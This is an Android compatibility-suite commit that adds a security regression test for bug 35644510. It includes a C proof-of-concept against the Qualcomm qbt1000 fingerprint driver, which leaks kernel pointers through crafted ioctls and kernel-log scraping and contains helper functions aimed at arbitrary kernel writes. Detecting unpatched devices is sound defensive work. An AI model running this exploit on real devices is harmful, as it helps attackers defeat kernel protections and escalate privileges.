CTS/STS test for Android Security b/35644510
Bug: 35644510
Change-Id: Ie4cda5977de6098b8f84e8163ba14c8bff8b0c91
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 38d29bc..731b4c6 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -105,6 +105,7 @@
<option name="push" value="CVE-2017-9678->/data/local/tmp/CVE-2017-9678" />
<option name="push" value="CVE-2017-9692->/data/local/tmp/CVE-2017-9692" />
<option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
+ <option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/Android.mk b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
new file mode 100644
index 0000000..efe00f2
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644510/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35644510
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35644510/poc.c b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
new file mode 100644
index 0000000..8dfd4b5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35644510/poc.c
@@ -0,0 +1,359 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+#include <sys/klog.h>
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h> /* See NOTES */
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+ QMI_OPT_FLAG = 1,
+ QMI_DATA_LEN,
+ QMI_UNSIGNED_1_BYTE,
+ QMI_UNSIGNED_2_BYTE,
+ QMI_UNSIGNED_4_BYTE,
+ QMI_UNSIGNED_8_BYTE,
+ QMI_SIGNED_2_BYTE_ENUM,
+ QMI_SIGNED_4_BYTE_ENUM,
+ QMI_STRUCT,
+ QMI_STRING,
+ QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+ unsigned char cntl_flag;
+ uint16_t txn_id;
+ uint16_t msg_id;
+ uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+ void *dev; /* in/out */
+ unsigned char *sbuf; /* in/out */
+ uint32_t sbuf_len; /* in/out */
+};
+
+enum qbt1000_commands {
+ QBT1000_LOAD_APP = 100,
+ QBT1000_UNLOAD_APP = 101,
+ QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+ struct qseecom_handle **app_handle;
+ char name[32];
+ uint32_t size;
+ uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+ struct qseecom_handle *app_handle;
+ uint8_t *req_buf;
+ uint32_t req_buf_len;
+ uint8_t *rsp_buf;
+ uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+/*
+ * Socket API
+ */
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct qbt1000_app app = {0};
+
+static int get_fd(const char *dev_node) {
+ int fd;
+ fd = open(dev_node, O_RDWR);
+ if (fd < 0) {
+ cont = 0;
+ exit(EXIT_FAILURE);
+ }
+
+ return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+ void *addr = NULL;
+ app.app_handle = (void *)&addr;
+ app.size = 32;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_load_app(int fd) {
+ struct qbt1000_app app = {0};
+
+ app.app_handle = (void *)0xABADACCE55013337;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+ struct qseecom_handle hdl = {0};
+ struct qbt1000_send_tz_cmd cmd = {0};
+ int x = 0;
+
+ hdl.sbuf =
+ (void
+ *)0xffffffc0017b1b84; // malloc(4096);//(void *) 0xABADACCE55000000;
+ cmd.app_handle = &hdl;
+ cmd.req_buf = &x;
+ cmd.rsp_buf = NULL; // malloc(4096);
+ cmd.req_buf_len = cmd.rsp_buf_len = 4;
+
+ ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void recv_msgs(int fd) {
+ struct msghdr msg = {0};
+ struct iovec io = {0};
+ struct sockaddr_msm_ipc addr = {0};
+ struct msm_ipc_addr address = {0};
+ uint8_t *ptr;
+ struct qmi_header *hdr;
+ int count = 1;
+
+ io.iov_base = malloc(4096);
+ memset(io.iov_base, 0, 4096);
+ io.iov_len = 4096;
+
+ msg.msg_iovlen = 1;
+ msg.msg_iov = &io;
+ msg.msg_name = &addr;
+ msg.msg_namelen = sizeof(addr);
+
+ for (int i = 0; i < 1000; i++) {
+ recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ memset(io.iov_base, 0, 128);
+ hdr = io.iov_base;
+
+ hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+ hdr->txn_id = count++;
+ hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+ hdr->msg_len = 3;
+
+ ptr = io.iov_base + sizeof(*hdr);
+
+ *ptr = OPTIONAL_TLV_TYPE_START;
+ ptr++;
+ *ptr = 0;
+ ptr++;
+ *ptr = 0;
+ sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+ int fd;
+ struct sockaddr_msm_ipc addr = {0};
+ fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+ if (fd < 0) {
+ exit(EXIT_FAILURE);
+ }
+
+ addr.family = AF_MSM_IPC;
+ addr.address.addrtype = MSM_IPC_ADDR_NAME;
+ addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+ addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+ QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+ bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+ recv_msgs(fd);
+ return;
+}
+
+static void *leak_ptr(void *ignore) {
+ void *save;
+ for (int i = 0; i < 1000; i++) {
+ if (app.app_handle != NULL) {
+ save = *app.app_handle;
+ if (save != NULL) {
+ break;
+ }
+ }
+ }
+ return 0;
+}
+
+static void *do_ipc_crap(void *ignore) { setup_ipc_server(); return 0; }
+
+int main2() {
+ int i;
+ int fd = open("/dev/qbt1000", O_RDWR);
+ if (fd < 0) {
+ return 1;
+ }
+
+ struct qbt1000_app app;
+
+ unsigned char *line = malloc(4096);
+ memset(line, 0, 4096);
+
+try_again:
+ system("dmesg -c");
+
+ memset(&app, 0x41, sizeof(app));
+
+ app.app_handle = malloc(64);
+ if (!app.app_handle) {
+ close(fd);
+ return 1;
+ }
+
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+
+ free(app.app_handle);
+ unsigned offset;
+ unsigned bytes_leaked;
+ unsigned char leaked_bytes[256];
+ unsigned idle;
+ pid_t child;
+
+ memset(line, 0, 4096);
+ offset = 0;
+ bytes_leaked = 0;
+ idle = 0;
+ memset(leaked_bytes, 0, sizeof(leaked_bytes));
+ while (!strchr(line, '\n')) {
+ if (klogctl(9, NULL, 0))
+ offset += klogctl(2, &line[offset], 4096);
+ else
+ idle++;
+ if (idle > 1000) return 0;
+ }
+
+ char *inv = strstr(line, "qbt1000_ioctl:");
+ if (!inv) return 0;
+ inv = strstr(inv, "App ");
+ if (!inv) return 0;
+ inv += 4; // go past "App"
+ char *a;
+ a = strchr(inv, 'A');
+ if (!a) return 0;
+
+ // keep going until no more A's
+ while (*a++ == 'A')
+ ;
+
+ int keep_going = 1;
+ while (*a != '\n' && *a != '\0') {
+ leaked_bytes[bytes_leaked++] = *a++;
+ }
+
+ if (bytes_leaked < 7) {
+ goto fork_it;
+ }
+
+#define KERN_ADDR 0xffffffc000000000
+ // let's do some post-processing to see if we got some pointers
+ for (i = 0; i < bytes_leaked - (sizeof(size_t) - 1); i++) {
+ size_t *c = (size_t *)(&leaked_bytes[i]);
+ if ((*c & KERN_ADDR) == KERN_ADDR) {
+ printf("KERNEL ADDRESS LEAKED = 0x%016lx\n", *c);
+ keep_going = 0;
+ }
+ }
+
+ bytes_leaked = 0;
+ memset(leaked_bytes, 0, sizeof(leaked_bytes));
+
+ if (keep_going) {
+ fork_it:
+ usleep(10000);
+ child = fork();
+ if (child == 0) {
+ return 0;
+ } else {
+ while (child = waitpid(-1, NULL, 0)) {
+ if (errno == ECHILD) break;
+ }
+ }
+ }
+
+ close(fd);
+ free(line);
+ return 0;
+}
+
+int main(void) {
+ pthread_t ipc;
+ pthread_create(&ipc, NULL, do_ipc_crap, NULL);
+
+ usleep(50000);
+
+ main2();
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
index b8b5d04..f8fbcd0 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_08.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -73,6 +73,18 @@
infoDisclosure("Bug-35764875", getDevice(), 60,
"[\\s\\n\\S]*information leaked, trycount=[0-9]+, rc=-[0-9]+,"
+" event_type=[0-9]+[\\s][0-9]{80}[\\s\\n\\S]*", true);
+ }
+ }
+
+ /**
+ * b/35644510
+ */
+ @SecurityTest
+ public void testPocBug_35644510() throws Exception {
+ enableAdbRoot(getDevice());
+ if(containsDriver(getDevice(), "/dev/qbt1000")) {
+ infoDisclosure("Bug-35644510", getDevice(), 60,
+ "[\\s\\n\\S]*KERNEL ADDRESS LEAKED = 0x[a-f0-9]{16}[\\s\\n\\S]*", true);
}
}
}